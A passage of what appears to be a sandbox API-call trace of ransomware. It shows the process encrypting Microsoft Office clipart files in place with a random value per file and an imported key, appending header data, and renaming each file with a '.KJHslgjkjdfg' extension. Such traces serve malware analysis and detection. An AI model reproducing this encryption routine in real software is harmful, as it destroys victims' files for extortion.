nNumberOfBytesToRead=0x140c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x140c, lpOverlapped=0x0) returned 1 [0218.334] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1410, dwBufLen=0x1410 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1410) returned 1 [0218.334] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.334] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1410, lpOverlapped=0x0) returned 1 [0218.334] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.334] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x14e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.335] SetEndOfFile (hFile=0x130) returned 1 [0218.338] GetProcessHeap () returned 0x2ef0000 [0218.338] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.338] GetProcessHeap () returned 0x2ef0000 [0218.339] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.339] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00555_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00555_.wmf.kjhslgjkjdfg")) returned 1 [0218.340] CloseHandle (hObject=0x130) returned 1 [0218.341] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30066900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30066900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x26b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00559_.WMF", cAlternateFileName="")) returned 1 [0218.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.342] GetProcessHeap () returned 0x2ef0000 [0218.342] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.342] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.342] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.342] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.342] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.342] GetProcessHeap () returned 0x2ef0000 [0218.343] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.343] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.343] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.343] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.345] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.346] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.346] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.346] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.346] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.346] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.346] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.346] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.346] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x26b0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x26b0, lpOverlapped=0x0) returned 1 [0218.347] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x26b0, dwBufLen=0x26b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x26b0) returned 1 [0218.348] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.348] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x26b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x26b0, lpOverlapped=0x0) returned 1 [0218.348] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.348] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2784, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.348] SetEndOfFile (hFile=0x130) returned 1 [0218.351] GetProcessHeap () returned 0x2ef0000 [0218.351] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.351] GetProcessHeap () returned 0x2ef0000 [0218.351] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.351] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00559_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00559_.wmf.kjhslgjkjdfg")) returned 1 [0218.353] CloseHandle (hObject=0x130) returned 1 [0218.353] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17bf3a00, ftCreationTime.dwHighDateTime=0x1bd4b35, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bf3a00, ftLastWriteTime.dwHighDateTime=0x1bd4b35, nFileSizeHigh=0x0, nFileSizeLow=0x5670, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00563_.WMF", cAlternateFileName="")) returned 1 [0218.353] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.354] GetProcessHeap () returned 0x2ef0000 [0218.354] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.354] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.354] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.354] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.354] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.355] GetProcessHeap () returned 0x2ef0000 [0218.355] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.355] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.355] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.355] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.358] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.358] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.358] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.358] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.358] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.358] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.358] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.358] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.358] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5670, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5670, lpOverlapped=0x0) returned 1 [0218.380] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5670, dwBufLen=0x5670 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5670) returned 1 [0218.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.447] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5670, lpOverlapped=0x0) returned 1 [0218.447] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.448] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.448] SetEndOfFile (hFile=0x130) returned 1 [0218.451] GetProcessHeap () returned 0x2ef0000 [0218.451] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.451] GetProcessHeap () returned 0x2ef0000 [0218.451] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.451] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00563_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00563_.wmf.kjhslgjkjdfg")) returned 1 [0218.453] CloseHandle (hObject=0x130) returned 1 [0218.453] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ae6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00578_.WMF", cAlternateFileName="")) returned 1 [0218.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.455] GetProcessHeap () returned 0x2ef0000 [0218.455] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.455] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.455] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.455] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0218.458] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.458] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.458] GetProcessHeap () returned 0x2ef0000 [0218.458] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.458] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.458] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.458] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.458] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.458] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.458] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.458] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.459] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.459] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.459] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.459] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.459] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1ae6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1ae6, lpOverlapped=0x0) returned 1 [0218.460] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1af0, dwBufLen=0x1af0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1af0) returned 1 [0218.460] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.460] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1af0, lpOverlapped=0x0) returned 1 [0218.460] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.460] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1bc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.460] SetEndOfFile (hFile=0x130) returned 1 [0218.463] GetProcessHeap () returned 0x2ef0000 [0218.463] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.463] GetProcessHeap () returned 0x2ef0000 [0218.463] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.463] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00578_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00578_.wmf.kjhslgjkjdfg")) returned 1 [0218.465] CloseHandle (hObject=0x130) returned 1 [0218.465] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x896e9800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x896e9800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE00608_.WMF", cAlternateFileName="")) returned 1 [0218.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE00608_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe00608_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.467] GetProcessHeap () returned 0x2ef0000 [0218.467] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.467] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.467] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.467] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.469] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.470] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.470] GetProcessHeap () returned 0x2ef0000 [0218.470] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.470] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.470] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.470] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.470] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.470] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.470] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.470] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.470] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.470] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.470] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.470] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.470] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1928, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1928, lpOverlapped=0x0) returned 1 [0218.471] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1930, dwBufLen=0x1930 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1930) returned 1 [0218.471] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.471] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1930, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1930, lpOverlapped=0x0) returned 1 [0218.472] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.472] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.472] SetEndOfFile (hFile=0x130) returned 1 [0218.474] GetProcessHeap () returned 0x2ef0000 [0218.474] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.474] GetProcessHeap () returned 0x2ef0000 [0218.474] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.474] MoveFileW 